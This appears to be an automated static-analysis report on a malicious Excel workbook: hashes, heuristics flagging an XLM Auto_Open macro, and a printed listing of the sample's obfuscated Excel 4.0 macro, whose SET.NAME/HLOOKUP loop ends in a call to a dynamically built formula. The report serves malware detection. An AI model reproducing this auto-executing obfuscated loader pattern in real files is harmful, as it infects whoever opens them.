Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42a35487a17728c1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:46:55 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: d19af11b9ad84cf7a8250ff65c9a0131 SHA-1: e455c6afca2a40762b9113cc0c4e071f6e333ef9 SHA-256: 42a35487a17728c1ffa37fc6ec36a84e40158216a2f2d49f0f8eaf4c8fb9d4a8
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6607 bytes
SHA-256: 0d68d8b99a8877e1e5afef12ad763b955bceae701d768b5311369fa496a56da2
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  PcP
' 0018     20 LABEL : Cell Value, String Constant - agbdf len=0 
' 0018     27 LABEL : Cell Value, String Constant - agdNAGYyGXCs len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A176 
' 0018     25 LABEL : Cell Value, String Constant - CykkqctbrF len=0 
' 0018     23 LABEL : Cell Value, String Constant - DkeuKveI len=0 
' 0018     21 LABEL : Cell Value, String Constant - dnRCEF len=0 
' 0018     26 LABEL : Cell Value, String Constant - EwXYRIRkdgm len=0 
' 0018     20 LABEL : Cell Value, String Constant - iVrdg len=0 
' 0018     23 LABEL : Cell Value, String Constant - JBOdDLDz len=0 
' 0018     25 LABEL : Cell Value, String Constant - LMVMJXOSvg len=0 
' 0018     24 LABEL : Cell Value, String Constant - PeSZuoBcP len=0 
' 0018     21 LABEL : Cell Value, String Constant - pkmsya len=0 
' 0018     25 LABEL : Cell Value, String Constant - rTFmuSSyFg len=0 
' 0018     24 LABEL : Cell Value, String Constant - SmNdXQjTy len=0 
' 0018     22 LABEL : Cell Value, String Constant - tCOEqIk len=0 
' 0018     26 LABEL : Cell Value, String Constant - UgxeLcWmbFZ len=0 
' 0018     27 LABEL : Cell Value, String Constant - vfargKhdhgtD len=0 
' 0018     25 LABEL : Cell Value, String Constant - VVVMEbMqMF len=0 
' 0018     27 LABEL : Cell Value, String Constant - wbTLQQNVeHBx len=0 
' 0018     25 LABEL : Cell Value, String Constant - yaDwGsHxWN len=0 
' 0018     27 LABEL : Cell Value, String Constant - ZSxcBrHjteRo len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  PcP,P82,"",896.00000000000000000000
'  PcP,P83,"",-689.00000000000000000000
'  PcP,P84,"",350.00000000000000000000
'  PcP,P85,"",972.00000000000000000000
'  PcP,A86,"SET.NAME("tCOEqIk",0+VALUE("0"))",""
'  PcP,P86,"",-281.00000000000000000000
'  PcP,P87,"",-597.00000000000000000000
'  PcP,A89,"SET.NAME("UgxeLcWmbFZ",tCOEqIk)",""
'  PcP,A91,"SET.NAME("VVVMEbMqMF",tCOEqIk)",""
'  PcP,A96,"SET.NAME("dnRCEF",COUNTA(vfargKhdhgtD))",""
'  PcP,A101,"SET.NAME("DkeuKveI",COUNTA(ZSxcBrHjteRo))",""
'  PcP,A105,[],""
'  PcP,A110,"SET.NAME("yaDwGsHxWN","")",""
'  PcP,A114,"UgxeLcWmbFZ",""
'  PcP,A118,"SET.NAME("CykkqctbrF",HLOOKUP("*",vfargKhdhgtD,UgxeLcWmbFZ,FALSE))",""
'  PcP,A123,"PeSZuoBcP",""
'  PcP,A125,"SET.NAME("SmNdXQjTy",tCOEqIk)",""
'  PcP,A128,[],""
'  PcP,A131,"SmNdXQjTy",""
'  PcP,A133,"LMVMJXOSvg",""
'  PcP,A137,"agbdf",""
'  PcP,A141,"rTFmuSSyFg",""
'  PcP,A144,"SET.NAME("iVrdg",VALUE(HLOOKUP("*",ZSxcBrHjteRo,rTFmuSSyFg,FALSE)))",""
'  PcP,A149,"agdNAGYyGXCs",""
'  PcP,A154,"yaDwGsHxWN",""
'  PcP,A156,"VVVMEbMqMF",""
'  PcP,A159,NEXT(),""
'  PcP,A162,"JBOdDLDz",""
'  PcP,A165,[],""
'  PcP,A168,"EwXYRIRkdgm",""
'  PcP,A170,NEXT(),""
'  PcP,A172,RETURN(),""
'  PcP,A198,"SET.NAME("wbTLQQNVeHBx",A86)",""
'  PcP,A202,"vfargKhdhgtD",""
'  PcP,A205,"SET.NAME("ZSxcBrHjteRo",R81C15)",""
'  PcP,A209,"SET.NAME("EwXYRIRkdgm",217)",""
'  PcP,A211,"SET.NAME("pkmsya",1)",""
'  PcP,A216,wbTLQQNVeHBx(),""
'  PcP,A217,HALT(),""

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